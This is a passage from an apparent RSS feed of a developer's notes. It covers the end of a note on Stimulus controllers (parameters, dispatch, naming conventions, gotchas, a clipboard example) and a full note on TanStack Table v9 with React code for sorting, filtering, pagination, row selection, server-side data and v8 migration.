&lt;pre&gt;&lt;code&gt;&amp;lt;button data-action=&quot;click-&amp;gt;vote#upvote&quot;
        data-vote-id-param=&quot;42&quot;
        data-vote-url-param=&quot;/votes&quot;&amp;gt;Upvote&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;upvote({ params: { id, url } }) {
  // id is the Number 42, url is the String &quot;/votes&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Parameters must sit on the &lt;strong&gt;same element as the action&lt;/strong&gt;. Values are typecast with &lt;code&gt;JSON.parse&lt;/code&gt;, falling back to a string. They&apos;re scoped per identifier, so two controllers on one element each see only their own.&lt;/p&gt;
&lt;h2&gt;Cross-controller communication&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;this.dispatch(&apos;completed&apos;, { detail: { id: 42 } })
// fires &quot;hello:completed&quot; on this.element, bubbling
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div data-action=&quot;hello:completed-&amp;gt;toast#show&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;dispatch()&lt;/code&gt; prefixes the event name with the controller identifier and bubbles by default. Options: &lt;code&gt;target&lt;/code&gt;, &lt;code&gt;detail&lt;/code&gt;, &lt;code&gt;prefix&lt;/code&gt;, &lt;code&gt;bubbles&lt;/code&gt;, &lt;code&gt;cancelable&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;For direct method calls rather than events, use outlets.&lt;/p&gt;
&lt;h2&gt;Naming conventions&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Convention&lt;/th&gt;
&lt;th&gt;Rationale&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Controller filenames&lt;/td&gt;
&lt;td&gt;&lt;code&gt;snake_case.js&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Rails works that way&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Identifiers&lt;/td&gt;
&lt;td&gt;&lt;code&gt;kebab-case&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;used in HTML attribute names, like CSS classes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Action names&lt;/td&gt;
&lt;td&gt;&lt;code&gt;camelCase&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;map directly to controller methods&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Target names&lt;/td&gt;
&lt;td&gt;&lt;code&gt;camelCase&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;map directly to controller properties&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Value names&lt;/td&gt;
&lt;td&gt;&lt;code&gt;camelCase&lt;/code&gt; in JS, &lt;code&gt;kebab-case&lt;/code&gt; in HTML&lt;/td&gt;
&lt;td&gt;thin wrapper over &lt;code&gt;HTMLElement.dataset&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Identifiers are derived from the filename:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;clipboard_controller.js&lt;/code&gt; → &lt;code&gt;clipboard&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;date_picker_controller.js&lt;/code&gt; → &lt;code&gt;date-picker&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;local-time-controller.js&lt;/code&gt; → &lt;code&gt;local-time&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;users/list_item_controller.js&lt;/code&gt; → &lt;code&gt;users--list-item&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Underscores and dashes are interchangeable in filenames; a directory separator becomes &lt;code&gt;--&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Errors are swallowed.&lt;/strong&gt; Every call into your code is wrapped in try/catch, logged, and forwarded to &lt;code&gt;window.onerror&lt;/code&gt;. A controller whose &lt;code&gt;connect()&lt;/code&gt; throws doesn&apos;t break the page, it just silently does nothing. Set &lt;code&gt;application.handleError&lt;/code&gt; on any real project.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Clean up in &lt;code&gt;disconnect()&lt;/code&gt;.&lt;/strong&gt; Stimulus removes only the listeners it installed through &lt;code&gt;data-action&lt;/code&gt;. Timers, manual &lt;code&gt;addEventListener&lt;/code&gt; calls, &lt;a href=&quot;/notes/intersection-observer/&quot;&gt;&lt;code&gt;IntersectionObserver&lt;/code&gt;s&lt;/a&gt;, &lt;a href=&quot;/notes/abort-controller/&quot;&gt;&lt;code&gt;AbortController&lt;/code&gt;s&lt;/a&gt; and third-party widgets are all yours to tear down.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;connect() { this.timer = setInterval(() =&amp;gt; this.refresh(), 5000) }
disconnect() { clearInterval(this.timer) }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Turbo page changes destroy controllers.&lt;/strong&gt; Turbo caches pages with &lt;code&gt;cloneNode(true)&lt;/code&gt;, which discards event listeners and attached data, so a restored page gets fresh controller instances rather than resumed ones. Reset transient UI in &lt;code&gt;turbo:before-cache&lt;/code&gt;, and use &lt;code&gt;id&lt;/code&gt; plus &lt;code&gt;data-turbo-permanent&lt;/code&gt; to persist an element and its controller across navigations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Everything is microtask-deferred.&lt;/strong&gt; Remove an element and immediately assert that &lt;code&gt;disconnect()&lt;/code&gt; ran, and it won&apos;t have yet.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;There&apos;s a memory leak in 3.2.2.&lt;/strong&gt; When an element carrying &lt;code&gt;data-action&lt;/code&gt; is removed while its controller element survives, Stimulus&apos;s internal dispatcher keeps a strong &lt;code&gt;Map&lt;/code&gt; entry keyed by that detached element, retaining it for the lifetime of the application. This is exactly the shape of Turbo 8 morphing and stream-driven list updates.&lt;/p&gt;
&lt;p&gt;The fix (PR #877) was merged in June 2026 but &lt;strong&gt;is not in any release yet&lt;/strong&gt;. Its own measurement, on a page morph-refreshing about 70 rows, found 272 retained detached buttons and 5.4 MB of retained heap over 40 re-renders, dropping to zero afterwards. If you&apos;re on Turbo morphing with long-lived pages, take a heap snapshot rather than assuming you&apos;re fine.&lt;/p&gt;
&lt;h2&gt;Full example&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div data-controller=&quot;clipboard&quot;
     data-clipboard-supported-value=&quot;true&quot;
     data-clipboard-copied-class=&quot;is-copied&quot;&amp;gt;
  &amp;lt;input data-clipboard-target=&quot;source&quot; type=&quot;text&quot; value=&quot;hello&quot; readonly&amp;gt;
  &amp;lt;button data-action=&quot;clipboard#copy&quot; data-clipboard-label-param=&quot;Copied!&quot;&amp;gt;
    Copy
  &amp;lt;/button&amp;gt;
  &amp;lt;span data-clipboard-target=&quot;feedback&quot; role=&quot;status&quot; aria-live=&quot;polite&quot;&amp;gt;&amp;lt;/span&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import { Controller } from &apos;@hotwired/stimulus&apos;

export default class extends Controller {
  static targets = [&apos;source&apos;, &apos;feedback&apos;]
  static classes = [&apos;copied&apos;]
  static values = { supported: Boolean, resetAfter: { type: Number, default: 2000 } }

  connect() {
    this.element.hidden = !this.supportedValue
  }

  disconnect() {
    clearTimeout(this.resetTimer)
  }

  async copy({ params: { label } }) {
    await navigator.clipboard.writeText(this.sourceTarget.value)
    this.element.classList.add(this.copiedClass)
    this.feedbackTarget.textContent = label

    clearTimeout(this.resetTimer)
    this.resetTimer = setTimeout(() =&amp;gt; this.reset(), this.resetAfterValue)
  }

  reset() {
    this.element.classList.remove(this.copiedClass)
    this.feedbackTarget.textContent = &apos;&apos;
  }
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>javascript</category><author>Zander Martineau</author></item><item><title>TanStack Table</title><link>https://zander.wtf/notes/tanstack-table/</link><guid isPermaLink="true">https://zander.wtf/notes/tanstack-table/</guid><description>TanStack Table is a headless table library. It gives you the state and logic for sorting, filtering, pagination and row selection, and you write all of the…</description><pubDate>Mon, 28 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TanStack Table is a headless table library. It gives you the state and logic for sorting, filtering, pagination and row selection, and you write all of the markup and styles yourself. Use it when a table needs two or more of those features, or needs them to work against a server. If you only show a list of rows, a plain &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; and &lt;code&gt;.map()&lt;/code&gt; is enough.&lt;/p&gt;
&lt;p&gt;These notes are for v9. Most code online is v8 — see &lt;a href=&quot;#v8--v9&quot;&gt;v8 → v9&lt;/a&gt; below.&lt;/p&gt;
&lt;h2&gt;Install&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;npm install @tanstack/react-table
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;v9 is ESM-only.&lt;/p&gt;
&lt;h2&gt;Basic table&lt;/h2&gt;
&lt;p&gt;In v9 you declare the features a table uses with &lt;code&gt;tableFeatures()&lt;/code&gt;. With no features you still get the core row model. The column helper takes the features type and your row type.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import {
  createColumnHelper,
  tableFeatures,
  useTable,
} from &apos;@tanstack/react-table&apos;

type Person = {
  id: string
  name: string
  email: string
  age: number
}

const features = tableFeatures({})

const columnHelper = createColumnHelper&amp;lt;typeof features, Person&amp;gt;()

const columns = columnHelper.columns([
  columnHelper.accessor(&apos;name&apos;, { header: &apos;Name&apos; }),
  columnHelper.accessor(&apos;email&apos;, {
    header: &apos;Email&apos;,
    cell: (info) =&amp;gt; &amp;lt;a href={`mailto:${info.getValue()}`}&amp;gt;{info.getValue()}&amp;lt;/a&amp;gt;,
  }),
  columnHelper.accessor(&apos;age&apos;, { header: &apos;Age&apos; }),
])

export function PeopleTable({ data }: { data: Array&amp;lt;Person&amp;gt; }) {
  const table = useTable({
    features,
    columns,
    data,
    getRowId: (row) =&amp;gt; row.id,
  })

  return (
    &amp;lt;table&amp;gt;
      &amp;lt;thead&amp;gt;
        {table.getHeaderGroups().map((headerGroup) =&amp;gt; (
          &amp;lt;tr key={headerGroup.id}&amp;gt;
            {headerGroup.headers.map((header) =&amp;gt; (
              &amp;lt;th key={header.id} colSpan={header.colSpan} scope=&quot;col&quot;&amp;gt;
                {header.isPlaceholder ? null : (
                  &amp;lt;table.FlexRender header={header} /&amp;gt;
                )}
              &amp;lt;/th&amp;gt;
            ))}
          &amp;lt;/tr&amp;gt;
        ))}
      &amp;lt;/thead&amp;gt;
      &amp;lt;tbody&amp;gt;
        {table.getRowModel().rows.map((row) =&amp;gt; (
          &amp;lt;tr key={row.id}&amp;gt;
            {row.getAllCells().map((cell) =&amp;gt; (
              &amp;lt;td key={cell.id}&amp;gt;
                &amp;lt;table.FlexRender cell={cell} /&amp;gt;
              &amp;lt;/td&amp;gt;
            ))}
          &amp;lt;/tr&amp;gt;
        ))}
      &amp;lt;/tbody&amp;gt;
    &amp;lt;/table&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;columnHelper.columns([...])&lt;/code&gt; keeps each column&apos;s value type, so &lt;code&gt;info.getValue()&lt;/code&gt; is typed.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;table.FlexRender header={header} /&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;table.FlexRender cell={cell} /&amp;gt;&lt;/code&gt; render the &lt;code&gt;header&lt;/code&gt; and &lt;code&gt;cell&lt;/code&gt; column options. The old &lt;code&gt;flexRender(def, context)&lt;/code&gt; function still works.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;getRowId&lt;/code&gt; gives rows a stable id. Without it the id is the row index, which breaks selection when data changes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Sorting, filtering and pagination&lt;/h2&gt;
&lt;p&gt;Each feature goes into &lt;code&gt;tableFeatures()&lt;/code&gt; with its row model. Register only the sort and filter functions you use; string names like &lt;code&gt;&apos;alphanumeric&apos;&lt;/code&gt; resolve only when they are registered. The table keeps its own state, so you read it from &lt;code&gt;table.state&lt;/code&gt; and change it with methods such as &lt;code&gt;table.setGlobalFilter()&lt;/code&gt; and &lt;code&gt;table.nextPage()&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import {
  columnFilteringFeature,
  createColumnHelper,
  createFilteredRowModel,
  createPaginatedRowModel,
  createSortedRowModel,
  filterFn_includesString,
  globalFilteringFeature,
  rowPaginationFeature,
  rowSortingFeature,
  sortFn_alphanumeric,
  sortFn_basic,
  tableFeatures,
  useTable,
} from &apos;@tanstack/react-table&apos;

// Person is the same type as in the basic table

const features = tableFeatures({
  rowSortingFeature,
  columnFilteringFeature,
  globalFilteringFeature,
  rowPaginationFeature,
  sortedRowModel: createSortedRowModel(),
  filteredRowModel: createFilteredRowModel(),
  paginatedRowModel: createPaginatedRowModel(),
  sortFns: { alphanumeric: sortFn_alphanumeric, basic: sortFn_basic },
  filterFns: { includesString: filterFn_includesString },
})

const columnHelper = createColumnHelper&amp;lt;typeof features, Person&amp;gt;()

const columns = columnHelper.columns([
  columnHelper.accessor(&apos;name&apos;, { header: &apos;Name&apos;, sortFn: &apos;alphanumeric&apos; }),
  columnHelper.accessor(&apos;email&apos;, { header: &apos;Email&apos;, enableSorting: false }),
  columnHelper.accessor(&apos;age&apos;, { header: &apos;Age&apos;, sortFn: &apos;basic&apos; }),
])

const ariaSort = {
  asc: &apos;ascending&apos;,
  desc: &apos;descending&apos;,
} as const

const arrows = { asc: &apos; ↑&apos;, desc: &apos; ↓&apos; }

export function PeopleTable({ data }: { data: Array&amp;lt;Person&amp;gt; }) {
  const table = useTable({
    features,
    columns,
    data,
    getRowId: (row) =&amp;gt; row.id,
    globalFilterFn: &apos;includesString&apos;,
    initialState: {
      pagination: { pageIndex: 0, pageSize: 20 },
    },
  })

  return (
    &amp;lt;&amp;gt;
      &amp;lt;input
        type=&quot;search&quot;
        aria-label=&quot;Search people&quot;
        placeholder=&quot;Search…&quot;
        value={table.state.globalFilter ?? &apos;&apos;}
        onChange={(e) =&amp;gt; table.setGlobalFilter(e.target.value)}
      /&amp;gt;

      &amp;lt;table&amp;gt;
        &amp;lt;thead&amp;gt;
          {table.getHeaderGroups().map((headerGroup) =&amp;gt; (
            &amp;lt;tr key={headerGroup.id}&amp;gt;
              {headerGroup.headers.map((header) =&amp;gt; {
                const sorted = header.column.getIsSorted()
                return (
                  &amp;lt;th
                    key={header.id}
                    scope=&quot;col&quot;
                    aria-sort={sorted ? ariaSort[sorted] : undefined}
                  &amp;gt;
                    {header.column.getCanSort() ? (
                      &amp;lt;button
                        type=&quot;button&quot;
                        onClick={header.column.getToggleSortingHandler()}
                      &amp;gt;
                        &amp;lt;table.FlexRender header={header} /&amp;gt;
                        {sorted ? arrows[sorted] : null}
                      &amp;lt;/button&amp;gt;
                    ) : (
                      &amp;lt;table.FlexRender header={header} /&amp;gt;
                    )}
                  &amp;lt;/th&amp;gt;
                )
              })}
            &amp;lt;/tr&amp;gt;
          ))}
        &amp;lt;/thead&amp;gt;
        &amp;lt;tbody&amp;gt;
          {table.getRowModel().rows.map((row) =&amp;gt; (
            &amp;lt;tr key={row.id}&amp;gt;
              {row.getAllCells().map((cell) =&amp;gt; (
                &amp;lt;td key={cell.id}&amp;gt;
                  &amp;lt;table.FlexRender cell={cell} /&amp;gt;
                &amp;lt;/td&amp;gt;
              ))}
            &amp;lt;/tr&amp;gt;
          ))}
        &amp;lt;/tbody&amp;gt;
      &amp;lt;/table&amp;gt;

      &amp;lt;nav aria-label=&quot;Pagination&quot;&amp;gt;
        &amp;lt;button
          type=&quot;button&quot;
          onClick={() =&amp;gt; table.previousPage()}
          disabled={!table.getCanPreviousPage()}
        &amp;gt;
          Previous
        &amp;lt;/button&amp;gt;
        &amp;lt;span&amp;gt;
          Page {table.state.pagination.pageIndex + 1} of {table.getPageCount()}
        &amp;lt;/span&amp;gt;
        &amp;lt;button
          type=&quot;button&quot;
          onClick={() =&amp;gt; table.nextPage()}
          disabled={!table.getCanNextPage()}
        &amp;gt;
          Next
        &amp;lt;/button&amp;gt;
        &amp;lt;select
          aria-label=&quot;Rows per page&quot;
          value={table.state.pagination.pageSize}
          onChange={(e) =&amp;gt; table.setPageSize(Number(e.target.value))}
        &amp;gt;
          {[10, 20, 50].map((size) =&amp;gt; (
            &amp;lt;option key={size} value={size}&amp;gt;
              {size} per page
            &amp;lt;/option&amp;gt;
          ))}
        &amp;lt;/select&amp;gt;
      &amp;lt;/nav&amp;gt;
    &amp;lt;/&amp;gt;
  )
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Global filtering needs &lt;code&gt;columnFilteringFeature&lt;/code&gt; as well as &lt;code&gt;globalFilteringFeature&lt;/code&gt;. The page index goes back to 0 when the filter or sort changes.&lt;/p&gt;
&lt;p&gt;Set starting values with &lt;code&gt;initialState&lt;/code&gt;. If your own code must own a slice of state (for example, to put it in the URL), pass &lt;code&gt;state&lt;/code&gt; and the matching &lt;code&gt;on[Slice]Change&lt;/code&gt; handler, the same as v8.&lt;/p&gt;
&lt;h2&gt;Row selection&lt;/h2&gt;
&lt;p&gt;Add &lt;code&gt;rowSelectionFeature&lt;/code&gt; and a display column for the checkboxes. Render the table as in the basic example.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import {
  createColumnHelper,
  rowSelectionFeature,
  tableFeatures,
  useTable,
} from &apos;@tanstack/react-table&apos;

// Person is the same type as in the basic table

const features = tableFeatures({ rowSelectionFeature })

const columnHelper = createColumnHelper&amp;lt;typeof features, Person&amp;gt;()

const columns = columnHelper.columns([
  columnHelper.display({
    id: &apos;select&apos;,
    header: ({ table }) =&amp;gt; (
      &amp;lt;input
        type=&quot;checkbox&quot;
        aria-label=&quot;Select all rows&quot;
        checked={table.getIsAllRowsSelected()}
        ref={(el) =&amp;gt; {
          if (el) {
            el.indeterminate =
              table.getIsSomeRowsSelected() &amp;amp;&amp;amp; !table.getIsAllRowsSelected()
          }
        }}
        onChange={table.getToggleAllRowsSelectedHandler()}
      /&amp;gt;
    ),
    cell: ({ row }) =&amp;gt; (
      &amp;lt;input
        type=&quot;checkbox&quot;
        aria-label={`Select ${row.original.name}`}
        checked={row.getIsSelected()}
        disabled={!row.getCanSelect()}
        onChange={row.getToggleSelectedHandler()}
      /&amp;gt;
    ),
  }),
  columnHelper.accessor(&apos;name&apos;, { header: &apos;Name&apos; }),
  columnHelper.accessor(&apos;email&apos;, { header: &apos;Email&apos; }),
])

export function useSelectablePeopleTable(data: Array&amp;lt;Person&amp;gt;) {
  const table = useTable({
    features,
    columns,
    data,
    getRowId: (row) =&amp;gt; row.id,
    enableRowSelection: (row) =&amp;gt; row.original.age &amp;gt;= 18,
  })

  // { [rowId]: true }
  const selection = table.state.rowSelection
  const selectedPeople = table
    .getSelectedRowModel()
    .rows.map((row) =&amp;gt; row.original)

  return { table, selection, selectedPeople }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rowSelection&lt;/code&gt; state is an object of selected row ids, which is why &lt;code&gt;getRowId&lt;/code&gt; matters.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;row.getToggleSelectedHandler()&lt;/code&gt; selects a range on Shift-click by default in v9. Set &lt;code&gt;enableRowRangeSelection: false&lt;/code&gt; to stop that.&lt;/li&gt;
&lt;li&gt;In v9, &lt;code&gt;getIsSomeRowsSelected()&lt;/code&gt; stays &lt;code&gt;true&lt;/code&gt; when all rows are selected, so check &lt;code&gt;!getIsAllRowsSelected()&lt;/code&gt; for the indeterminate state.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Server-side sorting and pagination&lt;/h2&gt;
&lt;p&gt;When the server sorts and paginates, leave out the sorted and paginated row models and set &lt;code&gt;manualSorting&lt;/code&gt; and &lt;code&gt;manualPagination&lt;/code&gt;. Hold the state yourself, put it in the query key, and give the table the total with &lt;code&gt;rowCount&lt;/code&gt; (or &lt;code&gt;pageCount&lt;/code&gt;; use &lt;code&gt;-1&lt;/code&gt; when the total is unknown). See &lt;a href=&quot;/notes/react-query/&quot;&gt;React Query&lt;/a&gt; for more on &lt;code&gt;useQuery&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { useState } from &apos;react&apos;
import { keepPreviousData, useQuery } from &apos;@tanstack/react-query&apos;
import {
  createColumnHelper,
  rowPaginationFeature,
  rowSortingFeature,
  tableFeatures,
  useTable,
} from &apos;@tanstack/react-table&apos;
import type { PaginationState, SortingState } from &apos;@tanstack/react-table&apos;

// Person is the same type as in the basic table

type PeoplePage = {
  rows: Array&amp;lt;Person&amp;gt;
  rowCount: number
}

declare function fetchPeople(params: {
  pageIndex: number
  pageSize: number
  sorting: SortingState
}): Promise&amp;lt;PeoplePage&amp;gt;

// No row models: the server sorts and paginates
const features = tableFeatures({ rowSortingFeature, rowPaginationFeature })

const columnHelper = createColumnHelper&amp;lt;typeof features, Person&amp;gt;()

const columns = columnHelper.columns([
  columnHelper.accessor(&apos;name&apos;, { header: &apos;Name&apos; }),
  columnHelper.accessor(&apos;email&apos;, { header: &apos;Email&apos; }),
  columnHelper.accessor(&apos;age&apos;, { header: &apos;Age&apos; }),
])

const emptyRows: Array&amp;lt;Person&amp;gt; = []

export function usePeopleTable() {
  const [sorting, setSorting] = useState&amp;lt;SortingState&amp;gt;([])
  const [pagination, setPagination] = useState&amp;lt;PaginationState&amp;gt;({
    pageIndex: 0,
    pageSize: 20,
  })

  const query = useQuery({
    queryKey: [&apos;people&apos;, pagination, sorting],
    queryFn: () =&amp;gt; fetchPeople({ ...pagination, sorting }),
    placeholderData: keepPreviousData,
  })

  const table = useTable({
    features,
    columns,
    data: query.data?.rows ?? emptyRows,
    rowCount: query.data?.rowCount,
    getRowId: (row) =&amp;gt; row.id,
    state: { sorting, pagination },
    onSortingChange: (updater) =&amp;gt; {
      setSorting(updater)
      // No sorted row model, so reset the page yourself
      setPagination((prev) =&amp;gt; ({ ...prev, pageIndex: 0 }))
    },
    onPaginationChange: setPagination,
    manualSorting: true,
    manualPagination: true,
  })

  return { table, query }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;placeholderData: keepPreviousData&lt;/code&gt; keeps the current page on screen while the next one loads, so the table does not flash empty. Use &lt;code&gt;query.isFetching&lt;/code&gt; for a loading indicator.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;emptyRows&lt;/code&gt; is defined outside the component. &lt;code&gt;query.data?.rows ?? []&lt;/code&gt; makes a new array on each render.&lt;/li&gt;
&lt;li&gt;Without the sorted or filtered row models, the table does not reset the page for you. Reset &lt;code&gt;pageIndex&lt;/code&gt; in the change handler, as above.&lt;/li&gt;
&lt;li&gt;For a server-side search box, add &lt;code&gt;columnFilteringFeature&lt;/code&gt;, &lt;code&gt;globalFilteringFeature&lt;/code&gt; and &lt;code&gt;manualFiltering: true&lt;/code&gt;, put &lt;code&gt;globalFilter&lt;/code&gt; in the query key, and &lt;a href=&quot;/notes/debounce/&quot;&gt;debounce&lt;/a&gt; the input so each key press does not start a request.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;v8 → v9&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;useReactTable&lt;/code&gt; is now &lt;code&gt;useTable&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;features&lt;/code&gt; option is required. Use &lt;code&gt;tableFeatures({ ... })&lt;/code&gt;, or &lt;code&gt;stockFeatures&lt;/code&gt; for all features as in v8 (bigger bundle).&lt;/li&gt;
&lt;li&gt;Row models move into &lt;code&gt;tableFeatures()&lt;/code&gt;: &lt;code&gt;getSortedRowModel()&lt;/code&gt; becomes &lt;code&gt;sortedRowModel: createSortedRowModel()&lt;/code&gt;, and the same for filtered, paginated, expanded, grouped and faceted. &lt;code&gt;getCoreRowModel()&lt;/code&gt; is gone; the core row model is always there.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;filterFns&lt;/code&gt;, &lt;code&gt;sortFns&lt;/code&gt; and &lt;code&gt;aggregationFns&lt;/code&gt; are registered on &lt;code&gt;tableFeatures()&lt;/code&gt;. Prefer single imports such as &lt;code&gt;filterFn_includesString&lt;/code&gt; and &lt;code&gt;sortFn_alphanumeric&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Sorting renames: &lt;code&gt;sortingFn&lt;/code&gt; → &lt;code&gt;sortFn&lt;/code&gt;, &lt;code&gt;sortingFns&lt;/code&gt; → &lt;code&gt;sortFns&lt;/code&gt;, &lt;code&gt;SortingFn&lt;/code&gt; → &lt;code&gt;SortFn&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;table.getState()&lt;/code&gt; is replaced by &lt;code&gt;table.state&lt;/code&gt; (or &lt;code&gt;table.store.state&lt;/code&gt;). &lt;code&gt;onStateChange&lt;/code&gt; is removed; the per-slice &lt;code&gt;on[Slice]Change&lt;/code&gt; handlers remain.&lt;/li&gt;
&lt;li&gt;Types take the features type first: &lt;code&gt;ColumnDef&amp;lt;typeof features, Person&amp;gt;&lt;/code&gt;, &lt;code&gt;Row&amp;lt;typeof features, Person&amp;gt;&lt;/code&gt;, &lt;code&gt;createColumnHelper&amp;lt;typeof features, Person&amp;gt;()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;table.FlexRender /&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;FlexRender /&amp;gt;&lt;/code&gt; are new. &lt;code&gt;flexRender()&lt;/code&gt; still works.&lt;/li&gt;
&lt;li&gt;Row, cell, column and header methods live on the prototype. Do not destructure them: use &lt;code&gt;row.getValue(&apos;name&apos;)&lt;/code&gt;, not &lt;code&gt;const { getValue } = row&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Column pinning uses &lt;code&gt;start&lt;/code&gt;/&lt;code&gt;end&lt;/code&gt; instead of &lt;code&gt;left&lt;/code&gt;/&lt;code&gt;right&lt;/code&gt;, and &lt;code&gt;enablePinning&lt;/code&gt; is split into &lt;code&gt;enableColumnPinning&lt;/code&gt; and &lt;code&gt;enableRowPinning&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Column sizing and resizing are two features. &lt;code&gt;columnSizingInfo&lt;/code&gt; state is now &lt;code&gt;columnResizing&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;table.Subscribe&lt;/code&gt; and a selector (the second argument to &lt;code&gt;useTable&lt;/code&gt;) let parts of the UI re-render only when their slice of state changes.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;useLegacyTable&lt;/code&gt; from &lt;code&gt;@tanstack/react-table/legacy&lt;/code&gt; accepts v8-style options, to help you migrate in steps. It is deprecated.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Keep &lt;code&gt;data&lt;/code&gt; and &lt;code&gt;columns&lt;/code&gt; stable.&lt;/strong&gt; Define columns outside the component, or use &lt;code&gt;useMemo&lt;/code&gt; if they depend on props. Never pass &lt;code&gt;data={[]}&lt;/code&gt; or &lt;code&gt;data={items.filter(...)}&lt;/code&gt; inline: a new array on each render makes the table recompute, and with state updates this can cause an infinite render loop. Use a module-level empty array, &lt;code&gt;useState&lt;/code&gt; or &lt;code&gt;useMemo&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use a real &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;.&lt;/strong&gt; Headless means the semantics are your job. Keep &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;thead&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;tbody&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;th scope=&quot;col&quot;&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;td&amp;gt;&lt;/code&gt; so screen readers can move by row and column.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Put &lt;code&gt;aria-sort&lt;/code&gt; on the &lt;code&gt;&amp;lt;th&amp;gt;&lt;/code&gt;&lt;/strong&gt;, only on the sorted column, with &lt;code&gt;ascending&lt;/code&gt; or &lt;code&gt;descending&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sort with a &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; in the header&lt;/strong&gt;, not an &lt;code&gt;onClick&lt;/code&gt; on the &lt;code&gt;&amp;lt;th&amp;gt;&lt;/code&gt; or a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;. A button gets focus, Enter and Space for free.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Label the controls.&lt;/strong&gt; Checkboxes, the search input and the page-size select need an accessible name (&lt;code&gt;aria-label&lt;/code&gt; or a &lt;code&gt;&amp;lt;label&amp;gt;&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
